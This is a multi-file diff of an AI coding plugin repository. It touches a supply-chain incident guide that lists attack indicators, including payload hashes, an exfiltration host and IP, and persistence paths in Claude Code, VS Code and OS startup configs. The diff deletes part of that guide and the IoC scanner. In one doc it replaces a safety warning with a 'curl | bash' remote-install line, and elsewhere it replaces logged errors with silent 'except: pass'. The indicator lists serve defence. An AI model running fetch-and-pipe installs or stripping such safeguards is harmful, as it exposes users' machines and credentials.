`IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow
|
||||
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
|
||||
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
|
||||
persistence hooks before rotating a stolen GitHub token.
|
||||
- The scanner also watches for late-reporting markers: `router_init.js`
|
||||
SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
|
||||
SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
|
||||
`opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
|
||||
Session protocol strings, `claude@users.noreply.github.com` dead-drop
|
||||
commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
|
||||
- The `node-ipc` sweep watches for `node-ipc.cjs` payload hash
|
||||
`96097e06...d9034144`, tarball hashes for the malicious `9.1.6`, `9.2.3`,
|
||||
and `12.0.1` artifacts, `sh.azurestaticprovider.net`, `bt.node.js`,
|
||||
`37.16.75.69`, DNS exfil labels `xh` / `xd` / `xf` where present in
|
||||
artifacts, `__ntw`, `__ntRun`, `/nt-` temp archives, and archive entries such
|
||||
as `uname.txt`, `envs.txt`, and `fixtures/_paths.txt`.
|
||||
- The attack chain combined `pull_request_target`, GitHub Actions cache
|
||||
poisoning across a fork/base trust boundary, and OIDC token extraction from a
|
||||
GitHub Actions runner.
|
||||
@@ -57,7 +29,6 @@ Primary references:
|
||||
- <https://tanstack.com/blog/npm-supply-chain-compromise-postmortem>
|
||||
- <https://github.com/advisories/GHSA-g7cv-rxg3-hmpx>
|
||||
- <https://tanstack.com/blog/incident-followup>
|
||||
- <https://socket.dev/blog/node-ipc-package-compromised>
|
||||
- <https://docs.npmjs.com/trusted-publishers/>
|
||||
- <https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem>
|
||||
|
||||
@@ -67,8 +38,8 @@ Run this before a release candidate, after a broad dependency bump, and after
|
||||
any package-registry incident.
|
||||
|
||||
```bash
|
||||
npm run security:ioc-scan
|
||||
node scripts/ci/scan-supply-chain-iocs.js --home
|
||||
rg -n '(@tanstack|mistralai|uipath|opensearch|guardrails|axios)' \
|
||||
package.json package-lock.json .opencode/package.json .opencode/package-lock.json
|
||||
npm ci --ignore-scripts
|
||||
npm audit signatures
|
||||
npm audit --audit-level=high
|
||||
@@ -92,27 +63,16 @@ If ECC or a maintainer machine installed a known-bad package version:
|
||||
- npm package versions and tarball integrity hashes;
|
||||
- outbound network logs where available.
|
||||
3. Treat the install host as compromised if lifecycle scripts may have run.
|
||||
4. Remove persistence hooks before token revocation:
|
||||
- `~/.claude/settings.json` `SessionStart` hooks and adjacent
|
||||
`router_runtime.js` / `setup.mjs` payload files;
|
||||
- `.vscode/tasks.json` folder-open tasks and adjacent payload files;
|
||||
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
|
||||
- `~/.config/systemd/user/gh-token-monitor.service`;
|
||||
- `~/.config/systemd/user/pgsql-monitor.service`;
|
||||
- `~/.local/bin/gh-token-monitor.sh`;
|
||||
- `~/.local/bin/pgmonitor.py`;
|
||||
- `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their
|
||||
`/private/tmp/` equivalents on macOS.
|
||||
5. Rotate every credential reachable by the process:
|
||||
4. Rotate every credential reachable by the process:
|
||||
- npm automation tokens and maintainer tokens;
|
||||
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;
|
||||
- cloud credentials, Vault tokens, Kubernetes service-account tokens, SSH
|
||||
keys, and local `.npmrc` tokens;
|
||||
- any MCP, plugin, or harness credentials available in environment variables
|
||||
or user-scope config.
|
||||
6. Purge GitHub Actions caches for affected repositories.
|
||||
7. Reinstall from a clean environment with `npm ci --ignore-scripts` first.
|
||||
8. Re-enable lifecycle scripts only after the dependency tree and package
|
||||
5. Purge GitHub Actions caches for affected repositories.
|
||||
6. Reinstall from a clean environment with `npm ci --ignore-scripts` first.
|
||||
7. Re-enable lifecycle scripts only after the dependency tree and package
|
||||
versions are pinned to known-clean releases.
|
||||
|
||||
## GitHub Actions Rules
|
||||
@@ -148,8 +108,6 @@ Before tagging or publishing ECC:
|
||||
Escalate to a maintainer security review before any release or merge if:
|
||||
|
||||
- a dependency lockfile references a package named in an active advisory;
|
||||
- `node scripts/ci/scan-supply-chain-iocs.js --home` finds Claude Code,
|
||||
VS Code, or OS-level persistence indicators;
|
||||
- a workflow combines `pull_request_target` with dependency installation,
|
||||
cache restore/save, PR-head checkout, or write permissions;
|
||||
- a release workflow combines `id-token: write` with shared cache usage;
|
||||
|
||||
@@ -390,7 +390,7 @@ Evet. Seçenek 2'yi (manuel kurulum) kullanın ve yalnızca ihtiyacınız olanı
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# Sadece rule'lar
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
```
|
||||
|
||||
Her component tamamen bağımsızdır.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Everything Claude Code (ECC) — 智能体指令
|
||||
|
||||
这是一个**生产就绪的 AI 编码插件**,提供 60 个专业代理、229 项技能、75 条命令以及自动化钩子工作流,用于软件开发。
|
||||
这是一个**生产就绪的 AI 编码插件**,提供 60 个专业代理、228 项技能、75 条命令以及自动化钩子工作流,用于软件开发。
|
||||
|
||||
**版本:** 2.0.0-rc.1
|
||||
|
||||
@@ -147,7 +147,7 @@
|
||||
|
||||
```
|
||||
agents/ — 60 个专业子代理
|
||||
skills/ — 229 个工作流技能和领域知识
|
||||
skills/ — 228 个工作流技能和领域知识
|
||||
commands/ — 75 个斜杠命令
|
||||
hooks/ — 基于触发的自动化
|
||||
rules/ — 始终遵循的指导方针(通用 + 每种语言)
|
||||
|
||||
@@ -224,7 +224,7 @@ Copy-Item -Recurse rules/typescript "$HOME/.claude/rules/"
|
||||
/plugin list ecc@ecc
|
||||
```
|
||||
|
||||
**搞定!** 你现在可以使用 60 个智能体、229 项技能和 75 个命令了。
|
||||
**搞定!** 你现在可以使用 60 个智能体、228 项技能和 75 个命令了。
|
||||
|
||||
***
|
||||
|
||||
@@ -637,16 +637,16 @@ Claude Code v2.1+ **会自动加载** 任何已安装插件中的 `hooks/hooks.j
|
||||
>
|
||||
> # 选项 A:用户级规则(适用于所有项目)
|
||||
> mkdir -p ~/.claude/rules
|
||||
> cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
> cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # 选择您的技术栈
|
||||
> cp -r everything-claude-code/rules/python ~/.claude/rules/python
|
||||
> cp -r everything-claude-code/rules/golang ~/.claude/rules/golang
|
||||
> cp -r everything-claude-code/rules/php ~/.claude/rules/php
|
||||
> cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # 选择您的技术栈
|
||||
> cp -r everything-claude-code/rules/python/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/golang/* ~/.claude/rules/
|
||||
> cp -r everything-claude-code/rules/php/* ~/.claude/rules/
|
||||
>
|
||||
> # 选项 B:项目级规则(仅适用于当前项目)
|
||||
> mkdir -p .claude/rules
|
||||
> cp -r everything-claude-code/rules/common .claude/rules/common
|
||||
> cp -r everything-claude-code/rules/typescript .claude/rules/typescript # 选择您的技术栈
|
||||
> cp -r everything-claude-code/rules/common/* .claude/rules/
|
||||
> cp -r everything-claude-code/rules/typescript/* .claude/rules/ # 选择您的技术栈
|
||||
> ```
|
||||
|
||||
***
|
||||
@@ -663,11 +663,11 @@ git clone https://github.com/affaan-m/everything-claude-code.git
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# Copy rules (common + language-specific)
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/typescript ~/.claude/rules/typescript # pick your stack
|
||||
cp -r everything-claude-code/rules/python ~/.claude/rules/python
|
||||
cp -r everything-claude-code/rules/golang ~/.claude/rules/golang
|
||||
cp -r everything-claude-code/rules/php ~/.claude/rules/php
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/typescript/* ~/.claude/rules/ # pick your stack
|
||||
cp -r everything-claude-code/rules/python/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/golang/* ~/.claude/rules/
|
||||
cp -r everything-claude-code/rules/php/* ~/.claude/rules/
|
||||
|
||||
# Copy maintained commands
|
||||
cp everything-claude-code/commands/*.md ~/.claude/commands/
|
||||
@@ -885,7 +885,7 @@ claude
|
||||
cp everything-claude-code/agents/*.md ~/.claude/agents/
|
||||
|
||||
# Just rules
|
||||
cp -r everything-claude-code/rules/common ~/.claude/rules/common
|
||||
cp -r everything-claude-code/rules/common/* ~/.claude/rules/
|
||||
```
|
||||
|
||||
每个组件都是完全独立的。
|
||||
@@ -1138,7 +1138,7 @@ opencode
|
||||
|---------|-------------|----------|--------|
|
||||
| 智能体 | PASS: 60 个 | PASS: 12 个 | **Claude Code 领先** |
|
||||
| 命令 | PASS: 75 个 | PASS: 35 个 | **Claude Code 领先** |
|
||||
| 技能 | PASS: 229 项 | PASS: 37 项 | **Claude Code 领先** |
|
||||
| 技能 | PASS: 228 项 | PASS: 37 项 | **Claude Code 领先** |
|
||||
| 钩子 | PASS: 8 种事件类型 | PASS: 11 种事件 | **OpenCode 更多!** |
|
||||
| 规则 | PASS: 29 条 | PASS: 13 条指令 | **Claude Code 领先** |
|
||||
| MCP 服务器 | PASS: 14 个 | PASS: 完整 | **完全对等** |
|
||||
@@ -1246,7 +1246,7 @@ ECC 是**第一个最大化利用每个主要 AI 编码工具的插件**。以
|
||||
|---------|------------|------------|-----------|----------|
|
||||
| **智能体** | 60 | 共享 (AGENTS.md) | 共享 (AGENTS.md) | 12 |
|
||||
| **命令** | 75 | 共享 | 基于指令 | 35 |
|
||||
| **技能** | 229 | 共享 | 10 (原生格式) | 37 |
|
||||
| **技能** | 228 | 共享 | 10 (原生格式) | 37 |
|
||||
| **钩子事件** | 8 种类型 | 15 种类型 | 暂无 | 11 种类型 |
|
||||
| **钩子脚本** | 20+ 个脚本 | 16 个脚本 (DRY 适配器) | N/A | 插件钩子 |
|
||||
| **规则** | 34 (通用 + 语言) | 34 (YAML 前页) | 基于指令 | 13 条指令 |
|
||||
|
||||
@@ -237,7 +237,9 @@ PROMPT 1(协调器) PROMPT 2(子代理)
|
||||
|
||||
### 安装
|
||||
|
||||
> **警告:** 请在审阅代码后,从 continuous-claude 的仓库安装。不要将外部脚本直接管道传入 bash。
|
||||
```bash
|
||||
curl -fsSL https://raw.githubusercontent.com/AnandChowdhary/continuous-claude/HEAD/install.sh | bash
|
||||
```
|
||||
|
||||
### 用法
|
||||
|
||||
|
||||
@@ -239,13 +239,13 @@ cp -R "${src%/}" "$TARGET/skills/$(basename "${src%/}")"
|
||||
执行安装:
|
||||
|
||||
```bash
|
||||
# Common rules
|
||||
cp -r $ECC_ROOT/rules/common $TARGET/rules/common
|
||||
# Common rules (flat copy into rules/)
|
||||
cp -r $ECC_ROOT/rules/common/* $TARGET/rules/
|
||||
|
||||
# Language-specific rules (preserve per-language directories)
|
||||
cp -r $ECC_ROOT/rules/typescript $TARGET/rules/typescript # if selected
|
||||
cp -r $ECC_ROOT/rules/python $TARGET/rules/python # if selected
|
||||
cp -r $ECC_ROOT/rules/golang $TARGET/rules/golang # if selected
|
||||
# Language-specific rules (flat copy into rules/)
|
||||
cp -r $ECC_ROOT/rules/typescript/* $TARGET/rules/ # if selected
|
||||
cp -r $ECC_ROOT/rules/python/* $TARGET/rules/ # if selected
|
||||
cp -r $ECC_ROOT/rules/golang/* $TARGET/rules/ # if selected
|
||||
```
|
||||
|
||||
**重要**:如果用户选择了任何特定语言的规则但**没有**选择通用规则,警告他们:
|
||||
|
||||
@@ -10,13 +10,10 @@ import os
|
||||
import json
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional
|
||||
import logging
|
||||
import webbrowser
|
||||
|
||||
from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# ============================================================================
|
||||
# DATA LOADERS - Load ECC data from the project
|
||||
# ============================================================================
|
||||
@@ -115,9 +112,9 @@ def load_skills(project_path: str) -> List[Dict]:
|
||||
if line.startswith('# '):
|
||||
description = line[2:].strip()[:100]
|
||||
break
|
||||
except Exception:
|
||||
logger.debug("Failed to parse skill file %s", skill_file, exc_info=True)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
# Determine category
|
||||
category = "General"
|
||||
item_lower = item.lower()
|
||||
@@ -189,9 +186,9 @@ def load_commands(project_path: str) -> List[Dict]:
|
||||
if line.startswith('# '):
|
||||
description = line[2:].strip()
|
||||
break
|
||||
except Exception:
|
||||
logger.debug("Failed to parse command file %s", item, exc_info=True)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
commands.append({
|
||||
'name': cmd_name,
|
||||
'description': description or cmd_name.replace('-', ' ').title()
|
||||
@@ -283,8 +280,8 @@ class ECCDashboard(tk.Tk):
|
||||
try:
|
||||
self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
||||
self.iconphoto(True, self.icon_image)
|
||||
except Exception:
|
||||
logger.debug("Failed to load window icon", exc_info=True)
|
||||
except:
|
||||
pass
|
||||
|
||||
self.minsize(800, 600)
|
||||
|
||||
@@ -347,8 +344,8 @@ class ECCDashboard(tk.Tk):
|
||||
self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
|
||||
self.logo_image = self.logo_image.subsample(2, 2)
|
||||
ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10))
|
||||
except Exception:
|
||||
logger.debug("Failed to load header logo", exc_info=True)
|
||||
except:
|
||||
pass
|
||||
|
||||
self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold'))
|
||||
self.title_label.pack(side=tk.LEFT)
|
||||
@@ -900,20 +897,22 @@ Project: github.com/affaan-m/everything-claude-code"""
|
||||
def update_widget_colors(widget):
|
||||
try:
|
||||
widget.configure(background=bg_color)
|
||||
except Exception:
|
||||
logger.debug("Cannot set background on %s", widget.__class__.__name__, exc_info=True)
|
||||
try:
|
||||
children = widget.winfo_children()
|
||||
except Exception:
|
||||
logger.debug("Cannot list child widgets on %s", widget.__class__.__name__, exc_info=True)
|
||||
return
|
||||
for child in children:
|
||||
except:
|
||||
pass
|
||||
for child in widget.winfo_children():
|
||||
try:
|
||||
child.configure(background=bg_color)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
update_widget_colors(child)
|
||||
except Exception:
|
||||
logger.debug("Cannot update child widget colors on %s", child.__class__.__name__, exc_info=True)
|
||||
|
||||
update_widget_colors(self)
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
update_widget_colors(self)
|
||||
except:
|
||||
pass
|
||||
|
||||
self.update()
|
||||
|
||||
|
||||
@@ -199,8 +199,7 @@
|
||||
"skills/database-migrations",
|
||||
"skills/jpa-patterns",
|
||||
"skills/mysql-patterns",
|
||||
"skills/postgres-patterns",
|
||||
"skills/prisma-patterns"
|
||||
"skills/postgres-patterns"
|
||||
],
|
||||
"targets": [
|
||||
"claude",
|
||||
|
||||
10
package.json
10
package.json
@@ -63,7 +63,6 @@
|
||||
"rules/",
|
||||
"schemas/",
|
||||
"scripts/catalog.js",
|
||||
"scripts/ci/scan-supply-chain-iocs.js",
|
||||
"scripts/consult.js",
|
||||
"scripts/auto-update.js",
|
||||
"scripts/claw.js",
|
||||
@@ -75,7 +74,6 @@
|
||||
"scripts/harness-adapter-compliance.js",
|
||||
"scripts/harness-audit.js",
|
||||
"scripts/observability-readiness.js",
|
||||
"scripts/platform-audit.js",
|
||||
"scripts/hooks/",
|
||||
"scripts/install-apply.js",
|
||||
"scripts/install-plan.js",
|
||||
@@ -217,7 +215,6 @@
|
||||
"skills/perl-testing/",
|
||||
"skills/plankton-code-quality/",
|
||||
"skills/postgres-patterns/",
|
||||
"skills/prisma-patterns/",
|
||||
"skills/product-capability/",
|
||||
"skills/production-audit/",
|
||||
"skills/production-scheduling/",
|
||||
@@ -288,20 +285,15 @@
|
||||
"postinstall": "echo '\\n ecc-universal installed!\\n Run: npx ecc typescript\\n Compat: npx ecc-install typescript\\n Docs: https://github.com/affaan-m/everything-claude-code\\n'",
|
||||
"catalog:check": "node scripts/ci/catalog.js --text",
|
||||
"catalog:sync": "node scripts/ci/catalog.js --write --text",
|
||||
"command-registry:generate": "node scripts/ci/generate-command-registry.js",
|
||||
"command-registry:write": "node scripts/ci/generate-command-registry.js --write",
|
||||
"command-registry:check": "node scripts/ci/generate-command-registry.js --check",
|
||||
"lint": "eslint . && markdownlint '**/*.md' --ignore node_modules",
|
||||
"harness:adapters": "node scripts/harness-adapter-compliance.js",
|
||||
"harness:audit": "node scripts/harness-audit.js",
|
||||
"observability:ready": "node scripts/observability-readiness.js",
|
||||
"platform:audit": "node scripts/platform-audit.js",
|
||||
"security:ioc-scan": "node scripts/ci/scan-supply-chain-iocs.js",
|
||||
"claw": "node scripts/claw.js",
|
||||
"orchestrate:status": "node scripts/orchestration-status.js",
|
||||
"orchestrate:worker": "bash scripts/orchestrate-codex-worker.sh",
|
||||
"orchestrate:tmux": "node scripts/orchestrate-worktrees.js",
|
||||
"test": "node scripts/ci/check-unicode-safety.js && node scripts/ci/validate-agents.js && node scripts/ci/validate-commands.js && node scripts/ci/validate-rules.js && node scripts/ci/validate-skills.js && node scripts/ci/validate-hooks.js && node scripts/ci/validate-install-manifests.js && node scripts/ci/validate-no-personal-paths.js && npm run catalog:check && npm run command-registry:check && node tests/run-all.js",
|
||||
"test": "node scripts/ci/check-unicode-safety.js && node scripts/ci/validate-agents.js && node scripts/ci/validate-commands.js && node scripts/ci/validate-rules.js && node scripts/ci/validate-skills.js && node scripts/ci/validate-hooks.js && node scripts/ci/validate-install-manifests.js && node scripts/ci/validate-no-personal-paths.js && npm run catalog:check && node tests/run-all.js",
|
||||
"coverage": "c8 --all --include=\"scripts/**/*.js\" --check-coverage --lines 80 --functions 80 --branches 80 --statements 80 --reporter=text --reporter=lcov node tests/run-all.js",
|
||||
"build:opencode": "node scripts/build-opencode.js",
|
||||
"prepack": "npm run build:opencode",
|
||||
|
||||
@@ -55,40 +55,25 @@ rules/
|
||||
> Flattening them into one directory causes language-specific files to overwrite
|
||||
> common rules, and breaks the relative `../common/` references used by
|
||||
> language-specific files.
|
||||
>
|
||||
> Use the ECC-owned namespace below for user-level Claude installs. Flat
|
||||
> package-level destinations can collide with non-ECC rule packs and do not
|
||||
> match the main README guidance.
|
||||
|
||||
```bash
|
||||
# Create the ECC rule namespace once.
|
||||
mkdir -p ~/.claude/rules/ecc
|
||||
|
||||
# Install common rules (required for all projects)
|
||||
cp -r rules/common ~/.claude/rules/ecc/
|
||||
cp -r rules/common ~/.claude/rules/common
|
||||
|
||||
# Install language-specific rules based on your project's tech stack
|
||||
cp -r rules/typescript ~/.claude/rules/ecc/
|
||||
cp -r rules/angular ~/.claude/rules/ecc/
|
||||
cp -r rules/python ~/.claude/rules/ecc/
|
||||
cp -r rules/golang ~/.claude/rules/ecc/
|
||||
cp -r rules/web ~/.claude/rules/ecc/
|
||||
cp -r rules/swift ~/.claude/rules/ecc/
|
||||
cp -r rules/php ~/.claude/rules/ecc/
|
||||
cp -r rules/ruby ~/.claude/rules/ecc/
|
||||
cp -r rules/arkts ~/.claude/rules/ecc/
|
||||
cp -r rules/typescript ~/.claude/rules/typescript
|
||||
cp -r rules/angular ~/.claude/rules/angular
|
||||
cp -r rules/python ~/.claude/rules/python
|
||||
cp -r rules/golang ~/.claude/rules/golang
|
||||
cp -r rules/web ~/.claude/rules/web
|
||||
cp -r rules/swift ~/.claude/rules/swift
|
||||
cp -r rules/php ~/.claude/rules/php
|
||||
cp -r rules/ruby ~/.claude/rules/ruby
|
||||
cp -r rules/arkts ~/.claude/rules/arkts
|
||||
|
||||
# Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only.
|
||||
```
|
||||
|
||||
For project-local rules, use the same namespace under the project root:
|
||||
|
||||
```bash
|
||||
mkdir -p .claude/rules/ecc
|
||||
cp -r rules/common .claude/rules/ecc/
|
||||
cp -r rules/typescript .claude/rules/ecc/
|
||||
```
|
||||
|
||||
## Rules vs Skills
|
||||
|
||||
- **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets").
|
||||
|
||||
@@ -15,7 +15,7 @@ paths:
|
||||
Configure project-local hooks to prefer binstubs and checked-in tooling:
|
||||
|
||||
- **RuboCop**: run `bundle exec rubocop -A <file>` or the project's safer formatter command after Ruby edits.
|
||||
- **Brakeman**: run `bundle exec brakeman --no-progress` after security-sensitive Rails changes.
|
||||
- **Brakeman**: run `bundle exec brakeman --no-pager` after security-sensitive Rails changes.
|
||||
- **Tests**: run the narrowest matching `bin/rails test ...` or `bundle exec rspec ...` command for touched files.
|
||||
- **Bundler audit**: run `bundle exec bundle-audit check --update` when `Gemfile` or `Gemfile.lock` changes and the project has bundler-audit installed.
|
||||
|
||||
@@ -29,7 +29,7 @@ Configure project-local hooks to prefer binstubs and checked-in tooling:
|
||||
|
||||
```bash
|
||||
bundle exec rubocop
|
||||
bundle exec brakeman --no-progress
|
||||
bundle exec brakeman --no-pager
|
||||
bin/rails test
|
||||
bundle exec rspec
|
||||
```
|
||||
|
||||
@@ -34,8 +34,8 @@ paths:
|
||||
- Run dependency checks when the lockfile changes:
|
||||
|
||||
```bash
|
||||
bundle exec bundle-audit check --update
|
||||
bundle exec brakeman --no-progress
|
||||
bundle audit check --update
|
||||
bundle exec brakeman --no-pager
|
||||
```
|
||||
|
||||
- Review new gems for maintainer activity, native extension risk, transitive dependencies, and whether the same behavior can be implemented with Rails core.
|
||||
|
||||
@@ -101,19 +101,6 @@ function parseReadmeExpectations(readmeContent) {
|
||||
{ category: 'commands', mode: 'exact', expected: Number(quickStartMatch[3]), source: 'README.md quick-start summary' }
|
||||
);
|
||||
|
||||
const releaseNoteMatch = readmeContent.match(
|
||||
/actual OSS surface:\s+(\d+)\s+agents,\s+(\d+)\s+skills,\s+and\s+(\d+)\s+legacy command shims/i
|
||||
);
|
||||
if (!releaseNoteMatch) {
|
||||
throw new Error('README.md is missing the rc.1 release-note catalog summary');
|
||||
}
|
||||
|
||||
expectations.push(
|
||||
{ category: 'agents', mode: 'exact', expected: Number(releaseNoteMatch[1]), source: 'README.md rc.1 release-note summary' },
|
||||
{ category: 'skills', mode: 'exact', expected: Number(releaseNoteMatch[2]), source: 'README.md rc.1 release-note summary' },
|
||||
{ category: 'commands', mode: 'exact', expected: Number(releaseNoteMatch[3]), source: 'README.md rc.1 release-note summary' }
|
||||
);
|
||||
|
||||
const projectTreeAgentsMatch = readmeContent.match(/^\|\s*--\s*agents\/\s*#\s*(\d+)\s+specialized subagents for delegation\s*$/im);
|
||||
if (!projectTreeAgentsMatch) {
|
||||
throw new Error('README.md project tree is missing the agents count');
|
||||
@@ -428,13 +415,6 @@ function syncEnglishReadme(content, catalog) {
|
||||
`${prefix}${catalog.agents.count}${agentsSuffix}${catalog.skills.count}${skillsSuffix}${catalog.commands.count} legacy command shims`,
|
||||
'README.md quick-start summary'
|
||||
);
|
||||
nextContent = replaceOrThrow(
|
||||
nextContent,
|
||||
/(actual OSS surface:\s+)(\d+)(\s+agents,\s+)(\d+)(\s+skills,\s+and\s+)(\d+)(\s+legacy command shims)/i,
|
||||
(_, prefix, __, agentsSuffix, ___, skillsSuffix, ____, commandsSuffix) =>
|
||||
`${prefix}${catalog.agents.count}${agentsSuffix}${catalog.skills.count}${skillsSuffix}${catalog.commands.count}${commandsSuffix}`,
|
||||
'README.md rc.1 release-note summary'
|
||||
);
|
||||
nextContent = replaceOrThrow(
|
||||
nextContent,
|
||||
/^(\|\s*--\s*agents\/\s*#\s*)(\d+)(\s+specialized subagents for delegation\s*)$/im,
|
||||
|
||||
@@ -1,318 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Generate a deterministic command-to-agent/skill registry.
|
||||
*
|
||||
* Usage:
|
||||
* node scripts/ci/generate-command-registry.js
|
||||
* node scripts/ci/generate-command-registry.js --json
|
||||
* node scripts/ci/generate-command-registry.js --write
|
||||
* node scripts/ci/generate-command-registry.js --check
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const ROOT = path.join(__dirname, '../..');
|
||||
const DEFAULT_OUTPUT_PATH = path.join(ROOT, 'docs', 'COMMAND-REGISTRY.json');
|
||||
|
||||
function normalizePath(relativePath) {
|
||||
return relativePath.split(path.sep).join('/');
|
||||
}
|
||||
|
||||
function listMarkdownFiles(root, relativeDir) {
|
||||
const directory = path.join(root, relativeDir);
|
||||
if (!fs.existsSync(directory)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return fs.readdirSync(directory, { withFileTypes: true })
|
||||
.filter(entry => entry.isFile() && entry.name.endsWith('.md'))
|
||||
.map(entry => entry.name)
|
||||
.sort();
|
||||
}
|
||||
|
||||
function listKnownAgents(root) {
|
||||
return new Set(
|
||||
listMarkdownFiles(root, 'agents')
|
||||
.map(filename => filename.replace(/\.md$/, ''))
|
||||
);
|
||||
}
|
||||
|
||||
function listKnownSkills(root) {
|
||||
const skillsDir = path.join(root, 'skills');
|
||||
if (!fs.existsSync(skillsDir)) {
|
||||
return new Set();
|
||||
}
|
||||
|
||||
return new Set(
|
||||
fs.readdirSync(skillsDir, { withFileTypes: true })
|
||||
.filter(entry => (
|
||||
entry.isDirectory() && fs.existsSync(path.join(skillsDir, entry.name, 'SKILL.md'))
|
||||
))
|
||||
.map(entry => entry.name)
|
||||
.sort()
|
||||
);
|
||||
}
|
||||
|
||||
function cleanYamlScalar(value) {
|
||||
return value.trim()
|
||||
.replace(/^['"]/, '')
|
||||
.replace(/['"]$/, '');
|
||||
}
|
||||
|
||||
function extractDescription(content) {
|
||||
const frontmatter = content.match(/^---\r?\n([\s\S]*?)\r?\n---/);
|
||||
if (frontmatter) {
|
||||
const description = frontmatter[1].match(/^description:\s*(.+)$/m);
|
||||
if (description) {
|
||||
return cleanYamlScalar(description[1]);
|
||||
}
|
||||
}
|
||||
|
||||
const heading = content.match(/^#\s+(.+)$/m);
|
||||
return heading ? heading[1].trim() : '';
|
||||
}
|
||||
|
||||
function collectKnownReferences(content, patterns, knownNames) {
|
||||
const refs = new Set();
|
||||
|
||||
for (const pattern of patterns) {
|
||||
for (const match of content.matchAll(pattern)) {
|
||||
const ref = match[1];
|
||||
if (knownNames.has(ref)) {
|
||||
refs.add(ref);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return refs;
|
||||
}
|
||||
|
||||
function extractReferences(content, knownAgents, knownSkills) {
|
||||
const agentPatterns = [
|
||||
/@([a-z][a-z0-9-]*)/gi,
|
||||
/\bagent:\s*['"]?([a-z][a-z0-9-]*)/gi,
|
||||
/\bsubagent(?:_type)?:\s*['"]?([a-z][a-z0-9-]*)/gi,
|
||||
/\bagents\/([a-z][a-z0-9-]*)\.md\b/gi,
|
||||
];
|
||||
|
||||
const skillPatterns = [
|
||||
/\bskill:\s*['"]?\/?([a-z][a-z0-9-]*)/gi,
|
||||
/\bskills\/([a-z][a-z0-9-]*)\/SKILL\.md\b/gi,
|
||||
/\bskills\/([a-z][a-z0-9-]*)\b/gi,
|
||||
/\/([a-z][a-z0-9-]*)\b/gi,
|
||||
];
|
||||
|
||||
return {
|
||||
agents: Array.from(collectKnownReferences(content, agentPatterns, knownAgents)).sort(),
|
||||
skills: Array.from(collectKnownReferences(content, skillPatterns, knownSkills)).sort(),
|
||||
};
|
||||
}
|
||||
|
||||
function inferCommandType(content, commandName) {
|
||||
const lower = `${commandName}\n${content}`.toLowerCase();
|
||||
|
||||
if (commandName.startsWith('multi-') || lower.includes('orchestrat')) {
|
||||
return 'orchestration';
|
||||
}
|
||||
if (lower.includes('test') || lower.includes('tdd') || lower.includes('coverage')) {
|
||||
return 'testing';
|
||||
}
|
||||
if (lower.includes('review') || lower.includes('audit') || lower.includes('security')) {
|
||||
return 'review';
|
||||
}
|
||||
if (lower.includes('plan') || lower.includes('design') || lower.includes('architecture')) {
|
||||
return 'planning';
|
||||
}
|
||||
if (lower.includes('refactor') || lower.includes('clean') || lower.includes('simplify')) {
|
||||
return 'refactoring';
|
||||
}
|
||||
if (lower.includes('build') || lower.includes('compile') || lower.includes('setup')) {
|
||||
return 'build';
|
||||
}
|
||||
|
||||
return 'general';
|
||||
}
|
||||
|
||||
function processCommandFile(root, filename, knownAgents, knownSkills) {
|
||||
const commandName = filename.replace(/\.md$/, '');
|
||||
const relativePath = normalizePath(path.join('commands', filename));
|
||||
const content = fs.readFileSync(path.join(root, relativePath), 'utf8');
|
||||
const references = extractReferences(content, knownAgents, knownSkills);
|
||||
|
||||
return {
|
||||
command: commandName,
|
||||
description: extractDescription(content),
|
||||
type: inferCommandType(content, commandName),
|
||||
primaryAgents: references.agents.slice(0, 3),
|
||||
allAgents: references.agents,
|
||||
skills: references.skills,
|
||||
path: relativePath,
|
||||
};
|
||||
}
|
||||
|
||||
function sortCountMap(countMap) {
|
||||
return Object.fromEntries(
|
||||
Object.entries(countMap).sort(([left], [right]) => left.localeCompare(right))
|
||||
);
|
||||
}
|
||||
|
||||
function topUsage(countMap, keyName) {
|
||||
return Object.entries(countMap)
|
||||
